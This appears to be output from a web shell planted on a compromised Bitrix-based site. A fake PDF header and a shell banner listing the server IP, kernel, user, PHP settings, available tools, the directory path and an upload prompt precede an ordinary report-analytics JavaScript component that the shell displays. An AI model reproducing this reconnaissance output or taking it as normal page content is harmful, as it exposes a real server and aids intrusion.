%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.16.68.121 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.analytics.config.control/templates/.default/ |
Upload File : |
(function () { "use strict"; BX.namespace("BX.Report.Analytics.Config"); BX.Report.Analytics.Config.Controls = function (options) { this.configurationButton = options.configurationButton; this.boardId = options.boardId; this.boardOptions = BX.prop.getArray(options, "boardOptions", []); this.pageTitle = document.querySelector(".ui-side-panel-wrap-title-name"); this.pageTitleWrap = document.querySelector(".ui-side-panel-wrap-title-wrap"); this.pageControlsContainer = document.querySelector(".pagetitle-container.pagetitle-align-right-container"); this.init(); }; BX.Report.Analytics.Config.Controls.prototype = { init: function () { BX.bind( this.configurationButton, "click", this.handleConfigurationButtonClick.bind(this) ); this.loader = new BX.Loader({size: 80}); }, handleConfigurationButtonClick: function () { if (!this.menu) { var menuItems = []; this.boardOptions.forEach(function (optionFields) { menuItems.push({ text: optionFields['TITLE'], className: "menu-popup-no-icon", onclick: function () { this.menu.popupWindow.close(); this.toggleBoardOption(optionFields['NAME']); }.bind(this) }) }, this); if (menuItems.length > 0) { menuItems.push({ separator: true }) } menuItems.push({ text: this.getToggleBoardTitle(), className: "menu-popup-no-icon", onclick: function () { this.menu.popupWindow.close(); this.toggleBoard(); }.bind(this) }); this.menu = new BX.PopupMenuWindow( 'report-analytics-config-control-menu', this.configurationButton, menuItems, { closeByEsc: true, autoHide: true, cacheable: false, events: { onDestroy: function () { this.menu = null; }.bind(this) } } ); } this.menu.toggle(); }, getToggleBoardTitle: function () { return BX.message("VISUALCONSTRUCTOR_DASHBOARD_GO_TO_DEFAULT"); }, toggleBoard: function () { this.contentContainer = document.querySelector(".report-analytics-content"); this.cleanPageContent(); this.showLoader(); BX.Report.VC.Core.ajaxPost("analytics.toggleToDefaultByBoardKey", { data: { IFRAME: "Y", boardKey: this.boardId }, onFullSuccess: BX.delegate(function (response) { this.hideLoader(); this.changePageTitle(response.additionalParams.pageTitle); this.changePageControls(response.additionalParams.pageControlsParams); BX.html(this.contentContainer, response.data); }, this) }); this.confirmationPopup.close(); }, toggleBoardOption: function (optionName) { this.contentContainer = document.querySelector(".report-analytics-content"); this.cleanPageContent(); this.showLoader(); BX.Report.VC.Core.ajaxPost("analytics.toggleBoardOption", { data: { IFRAME: "Y", boardKey: this.boardId, optionName: optionName }, onFullSuccess: BX.delegate(function (response) { this.hideLoader(); this.changePageTitle(response.additionalParams.pageTitle); this.changePageControls(response.additionalParams.pageControlsParams); BX.html(this.contentContainer, response.data); }, this) }); }, cleanPageContent: function () { this.pageTitle.innerText = ""; this.pageControlsContainer.innerText = ""; BX.cleanNode(this.contentContainer); if (BX.Report.Dashboard) { BX.Report.Dashboard.BoardRepository.destroyBoards(); } if (BX.VisualConstructor && BX.VisualConstructor.BoardRepository) { BX.VisualConstructor.BoardRepository.destroyBoards(); } }, changePageControls: function (controlsContent) { var config = {}; config.onFullSuccess = function (result) { BX.html(this.pageControlsContainer, result.html); }.bind(this); BX.Report.VC.Core._successHandler(controlsContent, config); }, changePageTitle: function (title) { this.pageTitle.innerText = title; }, showLoader: function () { this.pageTitleWrap.style.display = "none"; var preview = BX.create("img", { attrs: { "src": "/bitrix/images/report/visualconstructor/preview/view-without-menu.svg", height: "1200px", width: "100%" } }); this.contentContainer.appendChild(preview); }, hideLoader: function () { this.pageTitleWrap.style.display = "block"; this.loader.hide(); } }; })();